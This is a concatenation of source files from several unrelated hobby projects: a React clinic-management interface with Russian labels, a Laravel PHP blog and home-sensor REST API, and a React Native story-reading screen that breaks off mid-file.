{name: 'Анамнез', component: 'Hello'}, ]; const MedicalCard = () => { return ( <Fragment> {cards.map(card => { return ( <ExpansionPanel defaultExpanded={card.open}> <ExpansionPanelSummary> {card.name} </ExpansionPanelSummary> <ExpansionPanelDetails > {card.component} </ExpansionPanelDetails> </ExpansionPanel> ) })} <div className='addPatientActions'> <Button className='modalFooter__button' variant="contained" color="secondary"> Отмена </Button> <Button className='modalFooter__button' variant="contained" color="primary"> Сохранить </Button> </div> </Fragment> ); }; export default MedicalCard;<file_sep>import React from 'react'; import { makeStyles } from '@material-ui/core/styles'; import Paper from '@material-ui/core/Paper'; import InputBase from '@material-ui/core/InputBase'; import Divider from '@material-ui/core/Divider'; import IconButton from '@material-ui/core/IconButton'; import MenuIcon from '@material-ui/icons/Menu'; import SearchIcon from '@material-ui/icons/Search'; import DirectionsIcon from '@material-ui/icons/Directions'; import Icon from "./Icon"; const useStyles = makeStyles(theme => ({ root: { display: 'flex', alignItems: 'center', padding: '5px 2px', width: 250, margin: '16px 12px 10px', border: '1px solid gray', backGround: `rgba(0, 0, 0, 0.09)`, borderBottom: '1px solid black', borderRadius: '5px 5px 0 0' }, input: { marginLeft: theme.spacing(1), flex: 1, }, iconButton: { padding: 10, }, divider: { height: 28, margin: 4, }, })); const ButtonInput = () => { const classes = useStyles(); return ( <div className={classes.root}> <IconButton className={classes.iconButton} aria-label="menu"> <Icon name='search' /> </IconButton> <InputBase className={classes.input} placeholder="Категории пациентов" inputProps={{ 'aria-label': 'search google maps' }} /> <IconButton className={classes.iconButton} aria-label="menu"> <Icon name='folder'/> </IconButton> </div> ); } export default ButtonInput<file_sep>let nav = [{ links: [ {id: 'link_1', title: 'Профиль', icon: 'user', href: '/home', sub: false, category: ''}, {id: 'link_2', title: 'Расписание', icon: 'calendar', href: '/admin', sub: false, category: ''}, {id: 'link_3', title: 'Маркетинг', icon: 'comment', sub: true, category: 'marketing'}, {id: 'link_4', title: 'Продажи', icon: 'shopping-cart', sub: true, category: 'sales'}, {id: 'link_5', title: 'Склад', icon: 'archive', sub: true, category: 'store'}, {id: 'link_6', title: 'Сотрудники', icon: 'users', sub: true, category: 'employee'}, {id: 'link_7', title: 'Финансы', icon: 'credit-card', sub: true, category: 'finance'}, {id: 'link_8', title: 'Настройки', icon: 'cog', sub: true, category: 'settings'}, {id: 'link_9', title: 'Документы', icon: 'paste', href: '/home', sub: false, category: ''}, {id: 'link_10', title: 'Поддержка', icon: 'info', href: '/home', sub: false, category: ''}, ], marketing: [ {id: 'category_10', title: 'Отчеты', cat: true}, {id: 'subLink_101', href: '/', title: 'Баланс СМС сообщений'}, {id: 'subLink_102', href: '/', title: 'Журнал контактов с пациентами'}, {id: 'subLink_103', href: '/', title: 'Отчет по телефонии'}, {id: 'category_11', href: '/', title: 'Рассылка и звонки', cat: true}, {id: 'subLink_111', href: '/', title: 'Пользовательские рассылки'}, {id: 'subLink_112', href: '/', title: 'Напоминания'}, {id: 'subLink_113', href: '/', title: 'Отправить сообщение'} ], sales: [ {id: 'category_20', title: 'Документы', cat: true}, {id: 'subLink_201', href: '/', title: 'Визит'}, {id: 'category_21', title: 'Справочники', cat: true}, {id: 'subLink_211', href: '/admin/clientInfo', title: 'Пациенты', }, {id: 'subLink_212', href: '/', title: 'Услуги'}, {id: 'subLink_213', href: '/', title: 'Товары'}, {id: 'subLink_214', href: '/', title: 'Контрагенты'}, {id: 'subLink_215', href: '/', title: 'Подарочные сертификаты'}, {id: 'subLink_216', href: '/', title: 'Абонементам'}, {id: 'subLink_217', href: '/', title: 'Скидки и бонусы'}, {id: 'subLink_218', href: '/', title: 'Категории пациентов'}, {id: 'subLink_219', href: '/', title: 'Планы лечения'}, {id: 'category_22', title: 'Отчеты', cat: true}, {id: 'subLink_221', href: '/', title: 'Страховые комапнии'}, {id: 'subLink_222', href: '/', title: 'Дисконтные карты'}, {id: 'subLink_223', href: '/', title: 'Отчет по продажам'}, {id: 'subLink_224', href: '/', title: 'Взаиморасчеты с контрагентом'}, {id: 'subLink_225', href: '/', title: 'Проданные подарочные сертификаты'}, ], store: [ {id: 'category_30', title: 'Документы', cat: true}, {id: 'subLink_301', href: '/', title: 'Поступления товаров'}, {id: 'subLink_302', href: '/', title: 'Списание товаров'}, {id: 'subLink_303', href: '/', title: 'Перемещение товаров'}, {id: 'category_31', title: 'Справочники', cat: true}, {id: 'subLink_311', href: '/', title: 'Товары'}, {id: 'subLink_312', href: '/', title: 'Контрагенты'}, {id: 'subLink_313', href: '/', title: 'Склады'}, {id: 'subLink_314', href: '/', title: 'Единицы измерения'}, {id: 'category_32', title: 'Отчеты', cat: true}, {id: 'subLink_321', href: '/', title: 'Взаиморасчеты с контрагентом'}, {id: 'subLink_322', href: '/', title: 'Остатки товара на складе'}, {id: 'subLink_323', href: '/', title: 'Инвентаризация'}, ], employee: [ {id: 'category_40', title: 'Документы', cat: true}, {id: 'subLink_401', href: '/', title: 'Расход средств'}, {id: 'subLink_402', href: '/', title: 'Начисление ЗП'}, {id: 'category_41', title: 'Справочники', cat: true}, {id: 'subLink_411', href: '/', title: 'Сотрудники'}, {id: 'subLink_412', href: '/', title: 'Должность'}, {id: 'subLink_413', href: '/', title: 'Задачи'}, {id: 'category_42', title: 'Отчеты', cat: true}, {id: 'subLink_421', href: '/', title: 'Расчет ЗП'}, {id: 'subLink_422', href: '/', title: 'Взаиморасчеты с сотрудником'}, ], finance: [ {id: 'category_50', title: 'Документы', cat: true}, {id: 'subLink_501', href: '/', title: 'Приход средств'}, {id: 'subLink_502', href: '/', title: 'Расход средств'}, {id: 'subLink_503', href: '/', title: 'Перемещение средств'}, {id: 'category_51', title: 'Справочники', cat: true}, {id: 'subLink_511', href: '/', title: 'Контрагенты'}, {id: 'subLink_512', href: '/', title: 'Кассы и расчетные счета'}, {id: 'subLink_513', href: '/', title: 'Статьи расходов/доходов'}, {id: 'category_52', title: 'Отчеты', cat: true}, {id: 'subLink_521', href: '/', title: 'Движение средств в кассе'}, {id: 'subLink_522', href: '/', title: 'Движение денежных средств'}, {id: 'category_53', title: 'Онлайн касса', cat: true}, {id: 'subLink_531', href: '/', title: 'Операции с кассой'}, ], settings: [ {id: 'category_60', title: 'Настройки', cat: true}, {id: 'subLink_601', href: '/', title: 'Управление подпиской'}, {id: 'subLink_602', href: '/', title: 'Управление правами доступа'}, {id: 'subLink_603', href: '/', title: 'Инофрмация о клинике'}, {id: 'subLink_604', href: '/', title: 'Настройки клиники'}, {id: 'subLink_605', href: '/', title: 'История платежей'}, {id: 'subLink_606', href: '/', title: 'Журнал действий'}, {id: 'subLink_607', href: '/', title: 'Шаблоны визитов'}, {id: 'subLink_608', href: '/', title: 'Онлайн-запись и приложение'}, {id: 'subLink_609', href: '/', title: 'Изменение печатных форм'}, {id: 'subLink_6010', href: '/', title: 'Управление сетью клиники'}, {id: 'subLink_6011', href: '/', title: 'Телефония'}, {id: 'subLink_6012', href: '/', title: 'Акция "Приведи друга"'}, ], }]; export default nav<file_sep>import React from 'react'; import {KeyboardDatePicker, MuiPickersUtilsProvider} from "@material-ui/pickers"; import DateFnsUtils from '@date-io/date-fns'; import FormControl from '@material-ui/core/FormControl'; import Icon from '../Icon' import InputLabel from "@material-ui/core/InputLabel"; import { makeStyles } from '@material-ui/core/styles'; import Select from '@material-ui/core/Select'; import MenuItem from '@material-ui/core/MenuItem'; import ButtonGroup from "./ButtonGroup"; const useStyles = makeStyles(theme => ({ root: { display: 'flex', flexWrap: 'wrap', }, formControl: { minWidth: 120, }, select: { width: 150, color: 'darkgray' } })); const Header = () => { const classes = useStyles(); const [selectedDate, setSelectedDate] = React.useState(new Date(Date.now())); const [values, setValues] = React.useState({ age: 10, name: 'hai', }); const handleDateChange = date => { setSelectedDate(date); }; const handleChange = event => { setValues(oldValues => ({ ...oldValues, [event.target.name]: event.target.value, })); }; return ( <div className="schedulerHeader"> <MuiPickersUtilsProvider utils={DateFnsUtils}> <KeyboardDatePicker disableToolbar variant="inline" format="dd/MM/yyyy" label="Расписание на" value={selectedDate} onChange={handleDateChange} KeyboardButtonProps={{ 'aria-label': 'change date', }} /> </MuiPickersUtilsProvider> <div className="schedulerHeader__selects"> <div className={classes.root}> <FormControl className={classes.formControl}> <InputLabel htmlFor="age-helper">Сотрудники</InputLabel> <Select className={classes.select} value={values.age} onChange={handleChange} inputProps={{ name: 'age', id: 'age-helper', }} > <MenuItem value=""> <em>None</em> </MenuItem> <MenuItem value={10}> <span className='schedulerHeader__selects__icon'> <Icon name='user'/> </span> Все </MenuItem> <MenuItem value={20}> <span className='schedulerHeader__selects__icon'> <Icon name='user'/> </span> Координаторы </MenuItem> <MenuItem value={30}> <span className='schedulerHeader__selects__icon'> <Icon name='user'/> </span> Директор </MenuItem> </Select> </FormControl> </div> <ButtonGroup/> </div> </div> ); } export default Header;<file_sep>import React from 'react'; import Icon from "../Icon"; const TimeGrid = ({time}) => { /*__timebar*/ return ( <div className="scheduleTimeBar"> <div className="scheduleTimeBar__dates"> {time.map(time => { return ( <span className="scheduleTimeBar__tlabel"> {time} <span className="scheduleTimeBar__tline"/> </span> ) })} </div> </div> ); }; export default TimeGrid;<file_sep>import React from 'react'; import IconButton from "../IconButton"; const Sidebar = () => { return ( <div className="schedulerSidebar"> <IconButton icon='plus'/> <IconButton icon='gift'/> <IconButton icon='thumb-tack'/> </div> ); } export default Sidebar;<file_sep>import React, { Fragment } from 'react'; import Container from "@material-ui/core/Container"; import Paper from "@material-ui/core/Paper"; import {makeStyles} from "@material-ui/core"; import CardTabPanel from "./CardTabPanel"; const useStyles = makeStyles(theme => ({ root: { padding: '20px 15px', }, })); const AddPatient = ({changeVisibility, isOpen}) => { const classes = useStyles(); return ( <Fragment> <Container maxWidth="xl"> <div className='pageTitle'><span className='pageTitle__text'>Новый пациент</span></div> <Paper className={classes.root}> <CardTabPanel isOpen={isOpen} changeVisibility={changeVisibility}/> </Paper> </Container> </Fragment> ); } export default AddPatient;<file_sep>import React from 'react'; import Icon from "../Icon"; const UserList = ({users}) => { return ( <div className="schedulerUsers"> <div className="schedulerUsers__print"> <button className='schedulerUsers__btn'> <Icon name='print'/> </button> </div> {users.map(user => { return ( <div key={user.id} className="schedulerUsers__user"> <div className='schedulerUsers__photo'> <img src={user.photo} alt="user_photo"/> </div> <div className='schedulerUsers__user__info'> <span className='schedulerUsers__user__name'>{user.name}</span> <span className='schedulerUsers__user__pos'>{user.position}</span> </div> </div> ) })} </div> ); } export default UserList;<file_sep>const employeeList = [ { "id": "employee_1", "name": "<NAME>", "position": "Safety Technician III", "photo": "http://dummyimage.com/184x117.bmp/cc0000/ffffff", }, { "id": "employee_2", "name": "<NAME>", "position": "Quality Engineer", "photo": "http://dummyimage.com/176x183.png/ff4444/ffffff", }, { "id": "employee_3", "name": "<NAME>", "position": "Junior Executive", "photo": "http://dummyimage.com/197x221.jpg/cc0000/ffffff", }, { "id": "employee_4", "name": "<NAME>", "position": "VP Accounting", "photo": "http://dummyimage.com/105x151.png/cc0000/ffffff", }, { "id": "employee_5", "name": "<NAME>", "position": "VP Accounting", "photo": "http://dummyimage.com/105x151.png/cc0000/ffffff", } ]; export const employee = (state = employeeList) => { return state };<file_sep>import React, {Component, Fragment} from 'react'; import CTable from '../components/CTable'; import Container from '@material-ui/core/Container'; import Filter from "../components/Filter"; import AddPatient from "../components/AddPatient"; class ClientInfo extends Component { state = { isOpen: false, }; changeVisibility = (e) => { this.setState({ isOpen: !this.state.isOpen, }); e.stopPropagation(); }; render() { return ( <Fragment> {!this.state.isOpen && <Container maxWidth="xl"> <div className='pageTitle'><span className='pageTitle__text'>Справочники: «Пациенты»</span></div> <Filter changeVisibility={this.changeVisibility} isOpen={this.state.isOpen}/> <br/> <CTable/> </Container> } {this.state.isOpen && <AddPatient changeVisibility={this.changeVisibility} isOpen={this.state.isOpen}/> } </Fragment> ); } } export default ClientInfo;<file_sep>import React, {Component} from 'react'; import classNames from 'classnames'; class AppointmentElement extends Component { state = { hovered: false, row: 40, margin: 40, priority: this.props.ap.priority ? this.props.ap.priority : 0 }; toggleHover = () => { this.setState({ hovered: true, row: 45, }) }; toggleLeave = () => { this.setState({ hovered: false, row: 40, margin: 40 }) }; render() { const {showInfo, ap} = this.props; const {row, margin, priority} = this.state; let color; if (priority === 0) color = '#FFEAB8'; else if (priority === 1) color = '#B7EAFF'; else if (priority === 2) color = '#CDF7B1'; const classes = classNames( 'scheduleGrid__app', this.state.hovered ? 'scheduleGrid__app--hover' : null ); return ( <div className={classes} onMouseEnter={this.toggleHover} onMouseLeave={this.toggleLeave} onClick={() => showInfo(ap)} style={{height: ap.height * row, top: ap.top * margin, background: color}} > {ap.text} </div> ); } } export default AppointmentElement;
26110df1533b10fb176170060cbe5bd2f58bcf15
[ "JavaScript", "Markdown" ]
21
JavaScript
AodhanOlan/react-clinic
5e8e32a3e188d9d2a7b8034db17dcaf8f5f39ddf
34ffbf8e51b4c0bd2295938b0a6ab750d427faa2
refs/heads/master
<file_sep><?php class Columns extends Eloquent { protected $table = 'columns'; public static $rules=array( 'columns_name'=>'required', ); }<file_sep><?php class UserszController extends BaseController { public function action_index() { return "Welcome to the users controller."; } }<file_sep><?php use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateAthomesTable extends Migration { public function up() { Schema::create('athomes', function(Blueprint $table) { $table->increments('id'); $table->float('temperature'); $table->float('sensors1'); $table->float('sensors2'); $table->boolean('led1'); $table->timestamps(); }); } public function down() { Schema::drop('athomes'); } } <file_sep><?php class LedsController extends \BaseController { public $restful=true; protected $led; public function __construct(Leds $led) { $this->beforeFilter('auth'); $this->beforeFilter('csrf', array('on' => 'post')); $this->led = $led ; } public function index() { $leds = Leds::find(1); return View::make('leds.edit') ->with('leds', $leds); } public function create() { $maxid=Leds::max('id'); return View::make('leds.create')->with('maxid',$maxid); } public function store() { $rules = array( 'led1'=>'required', 'led2'=>'required', ); $validator = Validator::make(Input::all(), $rules); if ($validator->fails()) { return Redirect::to('leds/create') ->withErrors($validator) ->withInput(Input::except('password')); } else { $nerd = new Leds; $nerd->led1 = Input::get('led1'); $nerd->led2 = Input::get('led2'); $nerd->save(); // redirect Session::flash('message', 'Successfully created athome!'); return Redirect::to('leds'); } } public function show($id) { $myid=Leds::find($id); $maxid=Leds::where('id','=',$id) ->select('id','led2','led1') ->get(); return Response::json($maxid); } public function edit($id) { $leds = Leds::find($id); // show the edit form and pass the nerd return View::make('leds.edit') ->with('leds', $leds); } public function update($id) { $rules = array( 'led1'=>'required|', 'led2'=>'required|' ); $validator = Validator::make(Input::all(), $rules); // process the login if ($validator->fails()) { return Redirect::to('leds/' . $id . '/edit') ->withErrors($validator); } else { // store $nerd = Leds::find($id); $nerd->led1 = Input::get('led1'); $nerd->led2 = Input::get('led2'); $nerd->save(); // redirect Session::flash('message', 'Successfully created athome!'); return Redirect::to('leds'); } } public function destroy($id) { // delete $athome =Leds::find($id); $athome->delete(); if(is_null($athome)) { return Response::json('Todo not found', 404); } // redirect Session::flash('message', 'Successfully deleted the nerd!'); return Redirect::to('athome'); } }<file_sep><?php class Athomes extends Eloquent { protected $table = 'athomes'; public static $accessible = array( ); }<file_sep><?php use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateLedsTable extends Migration { public function up() { Schema::create('leds', function(Blueprint $table) { $table->increments('id'); $table->boolean('led1'); $table->boolean('led2'); $table->timestamps(); }); } public function down() { Schema::drop('leds'); } }<file_sep><?php class Leds extends Eloquent { protected $table = 'leds'; public static $accessible = array( ); }<file_sep><?php class Posts extends Eloquent { public static $rules=array ( 'post_title'=>'required', 'post_content'=>'required', ); public function zcolumns() { return $this->belongsTo('Columns'); } }<file_sep><?php class UsersRoles extends Eloquent { /** * Set timestamps off */ /** * Get users with a certain role */ }<file_sep> Attention ============ The Vendor must be saved.if not copy from the Lavavel Javascript Module ============ Angular D3 jQuery Bootstrap URL ============= for the person learn for the REST API with Angular,D3, Inlucde Ajax JSON /athome How To Use ============== php artisan migrate php artisan db:seed version ============= like a small blog. 0.1.0<file_sep><?php return array( 'title' => '栏目', 'single' => '栏目', 'model' => 'Columns', 'columns' => array( 'id' => array( 'title'=>'id', 'type'=>'text', ), 'columns_name' => array( 'title'=>'标题', 'type'=>'text', ), ), 'filters' => array( 'id' => array( 'title'=>'id', 'type'=>'text', ), 'columns_name' => array( 'title'=>'标题', 'type'=>'text', ), ), 'edit_fields' => array( 'columns_name' => array( 'title'=>'标题', 'type'=>'text', ), ), );<file_sep><?php class AthomesController extends \BaseController { /** * Display a listing of the resource. * * @return Response */ public $restful=true; protected $athome; public function __construct(Athomes $athome) { $this->athome = $athome ; } public function index() { $maxid=Athomes::all(); return Response::json($maxid); } /** * Show the form for creating a new resource. * * @return Response */ public function create() { $maxid=Athomes::max('id'); return View::make('athome.create')->with('maxid',$maxid); } /** * Store a newly created resource in storage. * * @return Response */ public function store() { // validate // read more on validation at http://laravel.com/docs/validation $rules = array( 'led1'=>'required', 'sensors1' => 'required|numeric|Min:-50|Max:80', 'sensors2' => 'required|numeric|Min:-50|Max:80', 'temperature' => 'required|numeric|Min:-50|Max:80' ); $validator = Validator::make(Input::all(), $rules); // process the login if ($validator->fails()) { return Redirect::to('athome/create') ->withErrors($validator) ->withInput(Input::except('password')); } else { // store $nerd = new Athomes; $nerd->sensors1 = Input::get('sensors1'); $nerd->sensors2 = Input::get('sensors2'); $nerd->temperature = Input::get('temperature'); $nerd->led1 = Input::get('led1'); $nerd->save(); // redirect Session::flash('message', 'Successfully created athome!'); return Redirect::to('athome'); } } /** * Display the specified resource. * * @param int $id * @return Response */ public function show($id) { $myid=Athomes::find($id); $maxid=Athomes::where('id','=',$id) ->select('id','temperature','sensors1','sensors2','led1') ->get(); return Response::json($maxid); } /** * Show the form for editing the specified resource. * * @param int $id * @return Response */ public function edit($id) { // get the nerd $athome = Athomes::find($id); // show the edit form and pass the nerd return View::make('athome.edit') ->with('athome', $athome); } /** * Update the specified resource in storage. * * @param int $id * @return Response */ public function update($id) { // validate // read more on validation at http://laravel.com/docs/validation $rules = array( 'led1'=>'required|', 'sensors1' => 'required|numeric|Min:-50|Max:80', 'sensors2' => 'required|numeric|Min:-50|Max:80', 'temperature' => 'required|numeric|Min:-50|Max:80' ); $validator = Validator::make(Input::all(), $rules); // process the login if ($validator->fails()) { return Redirect::to('athome/' . $id . '/edit') ->withErrors($validator); } else { // store $nerd = Athomes::find($id); $nerd->sensors1 = Input::get('sensors1'); $nerd->sensors2 = Input::get('sensors2'); $nerd->temperature = Input::get('temperature'); $nerd->led1 = Input::get('led1'); $nerd->save(); // redirect Session::flash('message', 'Successfully created athome!'); return Redirect::to('athome'); } } /** * Remove the specified resource from storage. * * @param int $id * @return Response */ public function destroy($id) { // delete $athome = Athomes::find($id); $athome->delete(); if(is_null($athome)) { return Response::json('Todo not found', 404); } // redirect Session::flash('message', 'Successfully deleted the nerd!'); return Redirect::to('athome'); } }<file_sep><?php /** * Box Office model config */ return array( 'title' => '文章', 'single' => '内容', 'model' => 'Posts', 'form_width' => 960, 'columns' => array( 'author' => array( 'title' => '作者', 'select' => "author", ), 'post_title'=>array( 'title'=>'标题', 'select'=>'post_title', ), 'post_content'=>array( 'title'=>'内容', 'select'=>'post_content', 'limit' => 30, ), 'updated_at'=>array( 'title'=>'发布日期', 'select'=>'updated_at', 'sort_field'=>'updated_at', ), 'zcolumns_id'=>array( 'title'=>'所属栏目', 'select'=>'zcolumns_id', ), ), 'filters' => array( 'author' => array( 'title'=>'作者', ), 'post_title'=>array( 'title'=>'标题', 'type'=>'text', ), 'post_content'=>array( 'title'=>'内容', 'type'=>'text', ), 'updated_at'=>array( 'title'=>'时间', 'type'=>'date', ), ), 'edit_fields' => array( 'post_title'=> array( 'title'=>'标题', 'type'=>'text', ), 'post_content'=>array( 'title'=>'内容', 'type'=>'wysiwyg', ), 'zcolumns'=>array( 'title'=>'选择栏目', 'type'=>'relationship', 'name_field'=>'columns_name', ), ), );<file_sep><?php /* |-------------------------------------------------------------------------- | Application Routes |-------------------------------------------------------------------------- | | Here is where you can register all of the routes for an application. | It's a breeze. Simply tell Laravel the URIs it should respond to | and give it the Closure to execute when that URI is requested. | */ Route::get('/', function() { $news_posts=Posts::all(); $navbars=Navs::all(); $posts=Posts::all(); $cols=Columns::select('columns_name','id')->get(); return View::make('home') ->with('news_posts',$news_posts) ->with('navbars',$navbars) ->with('col_set',$cols); }); Route::get('users/{users?}',array('before'=>'auth.basic',function($users){ $users1=User::where('name','=',$users) ->select('name','email','led1') ->get(); $data=$users1; return Response::json($data); })); Route::get('blogs/{blog?}',function($posts){ $navbars=Navs::all(); $posts=Posts::where('post_title','=',$posts) ->select('post_title','post_content','updated_at','created_at') ->get(); $blogs=$posts; return View::make('blogs')->with('posts',$posts) ->with('navbars',$navbars); }); Route::get('page/{navs?}',function($navs){ $navigation=Navs::where('nav_name','=',$navs)->get(); $navbars=Navs::all(); $news_posts=Posts::all(); $col_set=Columns::all(); if($navs=="Home"){ return Redirect::to('/'); } return View::make('admin_main') ->with('navbars',$navbars) ->with('news_posts',$news_posts) ->with('page_name',$navs) ->with('col_set',$col_set); }); Route::get('admin',function() { return View::make('admin_main'); }); Route::get('login',function() { return View::make('login'); })->before('guest'); Route::post('login', 'UserLogin@user'); Route::get('logout', function() { Auth::logout(); return Redirect::to('login'); }); Route::get('sitemap', function(){ $sitemap = App::make("sitemap"); // set item's url, date, priority, freq $sitemap->add(URL::to('blogs'), '2012-08-25T20:10:00+02:00', '1.0', 'daily'); $sitemap->add(URL::to('posts'), '2012-08-26T12:30:00+02:00', '0.9', 'monthly'); $posts = DB::table('posts')->orderBy('created_at', 'updated_at')->get(); foreach ($posts as $post) { $sitemap->add($post->post_title, $post->created_at, '0.8', 'daily'); } // show your sitemap (options: 'xml' (default), 'html', 'txt', 'ror-rss', 'ror-rdf') return $sitemap->render('xml'); }); Route::get('/at/{atid}',function($atid){ $atdata=Athomes::where('id','=',$atid) ->select('id','temperature','sensors1','sensors2','led1') ->get(); return Response::json($atdata); }); Route::get('/at',function(){ $maxid=Athomes::max('id'); return View::make('athome')->with('maxid',$maxid); }); Route::resource('nerds', 'NerdController'); Route::resource('leds','LedsController'); Route::resource('athome', 'AthomesController'); Route::resource('status', 'StatusController'); <file_sep><?php return array( 'title' => '导航', 'single' => '导航', 'model' => 'Navs', 'columns' => array( 'id' => array( 'title'=>'id', 'type'=>'text', ), 'nav_name' => array( 'title'=>'栏目名称', 'type'=>'text', ), 'nav_en' => array( 'title'=>'导航地址', 'type'=>'text', ), ), 'filters' => array( 'nav_name' => array( 'title'=>'标题', 'type'=>'text', ), 'nav_en' => array( 'title'=>'导航地址', 'type'=>'text', ), ), 'edit_fields' => array( 'nav_name' => array( 'title'=>'标题', 'type'=>'text', ), 'nav_en' => array( 'title'=>'URL地址(英语,用于当网址)', 'type'=>'text', ), ), );<file_sep><?php class Navs extends Eloquent { public static $rules=array ( 'nav_name'=>'required', 'nav_en'=>'required', ); }<file_sep><?php class DatabaseSeeder extends Seeder { public function run() { Eloquent::unguard(); $this->call('UserTableSeeder'); $this->call('RolesTableSeeder'); $this->call('UsersRolesTableSeeder'); $this->call('AthomesTableSeeder'); $this->call('NavsTableSeeder'); $this->call('ColumnsTableSeeder'); } } class UserTableSeeder extends Seeder{ public function run() { User::create(array( 'name'=>'admin', 'password'=><PASSWORD>('<PASSWORD>'), 'email'=>'<EMAIL>', 'led1'=>'true' )); } } class RolesTableSeeder extends Seeder{ public function run() { Role::create(array( 'name'=>'admin' )); } } class UsersRolesTableSeeder extends Seeder{ public function run() { UsersRoles::create(array( 'user_id'=>'1', 'role_id'=>'1' )); } } class NavsTableSeeder extends Seeder{ public function run() { Navs::create(array( 'nav_name'=>'首页', 'nav_en'=>'Home' )); Navs::create(array( 'nav_name'=>'关于我们', 'nav_en'=>'About' )); } } class AthomesTableSeeder extends Seeder { public function run() { Athomes::create(array( 'temperature'=>'19.8', 'sensors1'=>'22.2', 'sensors2'=>'7.5', 'led1'=>False )); Athomes::create(array( 'temperature'=>'18.8', 'sensors1'=>'22.0', 'sensors2'=>'7.6', 'led1'=>False )); } } class ColumnsTableSeeder extends Seeder { public function run() { Columns::create(array( 'columns_name'=>'今日要闻' )); Columns::create(array( 'columns_name'=>'公司新闻' )); } }
c3c5449c360d0997434989412490ed1e8f1b21e5
[ "Markdown", "PHP" ]
17
PHP
phodal/learingphp
e2af6f00b453dfbad7e983ae4f794eb6f1c644a7
cf75886a71faa8d71dfa129f913aa44ca1ecaff0
refs/heads/master
<file_sep>import React, { useMemo, useState } from 'react'; import './App.css'; import Header from '../Header/Header'; import Routes from '../../Utils/routes'; import { BrowserRouter as Router } from 'react-router-dom'; import { Grid } from '@material-ui/core'; import { UserContext, ProfileContext } from '../../Utils/UserContext'; function App() { const [user, setUser] = useState(null); const [profile, setProfile] = useState(null); const userValue = useMemo(() => ({ user, setUser }), [user, setUser]); const profileValue = useMemo(() => ({ profile, setProfile }), [profile, setProfile]); return ( <div className="App"> <div className="App-header"> <UserContext.Provider value={userValue}> <ProfileContext.Provider value={profileValue}> <Router> <Header/> <Grid item container lg={12} md={12} sm={12} className="main-container"> <Routes /> </Grid> </Router> </ProfileContext.Provider> </UserContext.Provider> </div> </div> ); } export default App; <file_sep> export const selectUserState = state => state?.userDetails; <file_sep>import LoginSagas from './login/sagas/login'; import { all } from 'redux-saga/effects'; export default function* rootSaga() { yield all([ ...LoginSagas, ]) }<file_sep>export interface Profile { id: number, name: string } export interface User { success: boolean, token: string, user: any, profiles: Profile[] } export interface IContextProps { user: User; setUser: (User: User) => void; } export interface IProfileContext { profile: Profile; setProfile: (Profile: Profile) => void; }<file_sep>import { combineReducers } from 'redux'; import loginReducer from './login/loginReducer'; export default combineReducers({ userDetails: loginReducer });<file_sep>import axios from 'axios'; export const getUserDetails = () => { return axios.get(); } <file_sep># Getting Started with Create React App This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app). ## Available Scripts In the project directory, you can run: ### `yarn start` Runs the app in the development mode.\ Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.\ You will also see any lint errors in the console. ### Please clone other ### `https://github.com/madhavvi/November-mock-API.git` for mock API server and follow instructions in README.md<file_sep>import { createContext } from "react"; import { IContextProps, IProfileContext } from "./models"; export const UserContext = createContext({} as IContextProps); export const ProfileContext = createContext({} as IProfileContext);<file_sep>import { Types } from './loginActions'; const INITIAL_STATE = { user: {}, }; export default function login(state = INITIAL_STATE, action){ switch(action.type){ case Types.LOGIN_SUCCESS: { return { ...state, user: action.payload.user } } case Types.LOGIN_ERROR: { return { ...state, error: action.payload.error } } default: { return state; } } }
6503b483fe456f77439c2b81766bb66ebaaa41d7
[ "JavaScript", "TypeScript", "Markdown" ]
9
JavaScript
madhavvi/november-react-task
7f8495d856c092515d6117aa997844bc4db84b0e
d0ac2a6f882a94a420841f12ca01bf58a54d221b
refs/heads/master
<file_sep>import React, { Component } from "react"; import { View, Text, FlatList } from "react-native"; import { Header, SearchBar } from "react-native-elements"; import db from "../config.js"; export default class readScreen extends Component { constructor(props) { super(props); this.state = { searchTxt: "", allStories: [], funcCalled: false, filterStories: [], lastVisibleStory: null, }; } async componentDidMount() { await this.getStories(); setTimeout(() => this.setState({ funcCalled: true }), 2000); } getStories = async () => { var storyRef = await db .collection("stories") .where("story", "!=", "") .limit(6) .get(); storyRef.docs.map(async (doc) => { var storyData = await doc.data(); this.state.allStories.push(storyData); }); }; render() { if (this.state.searchTxt === "") { return ( <View> <Header backgroundColor="#ef4b4c" centerComponent={{ text: "Read a Story", style: { color: "#e9ebeb", fontSize: 18 }, }} ></Header> <SearchBar containerStyle={{ backgroundColor: "transparent", borderWidth: 0, }} round={true} placeholder="Search for Stories" onChangeText={(txt) => this.setState({ searchTxt: txt.trim() })} value={this.state.searchTxt} lightTheme={true} inputContainerStyle={{ borderColor: "#3d619B", borderWidth: 2, borderBottomColor: "#3d619b", marginTop: -1, }} inputStyle={{ padding: -10, fontSize: 15 }} /> <FlatList contentContainerStyle={{ paddingBottom: 165 }} data={this.state.allStories} renderItem={({ item }) => ( <View style={{ backgroundColor: "#e9ebeb", borderColor: "#43506c", borderWidth: 2, borderRadius: 6, marginTop: 15, marginLeft: 7, maxWidth: "97%", }} > <Text style={{ fontWeight: "bold", marginLeft: 5, fontSize: 20 }} > {item.storyTitle} </Text> <Text style={{ marginLeft: 5, fontSize: 12 }}> Author: {item.storyAuthor} </Text> </View> )} keyExtractor={(item, index) => { index.toString(); }} /> </View> ); } else { var allStories = this.state.allStories; var searchTxt = this.state.searchTxt; for (var i = 0; i < allStories.length; i++) { if ( allStories[i].storyTitle .toLowerCase() .includes(searchTxt.toLowerCase()) ) { this.state.filterStories.push(allStories[i]); } this.state.filterStories = [...new Set(this.state.filterStories)]; } return ( <View> <Header backgroundColor="#ef4b4c" centerComponent={{ text: "Read a Story", style: { color: "#e9ebeb", fontSize: 18 }, }} ></Header> <SearchBar containerStyle={{ backgroundColor: "transparent", borderWidth: 0, }} round={true} placeholder="Search Stories/Authors" onChangeText={(txt) => this.setState({ searchTxt: txt.trim(), filterStories: [] }) } value={this.state.searchTxt} lightTheme={true} inputContainerStyle={{ borderColor: "#3d619B", borderWidth: 2, borderBottomColor: "#3d619b", marginTop: -1, }} inputStyle={{ padding: -10, fontSize: 15 }} /> <FlatList contentContainerStyle={{ paddingBottom: 165 }} data={this.state.filterStories} renderItem={({ item }) => ( <View style={{ backgroundColor: "#e9ebeb", borderColor: "#43506c", borderWidth: 2, borderRadius: 6, marginTop: 15, marginLeft: 7, maxWidth: "97%", }} > <Text style={{ fontWeight: 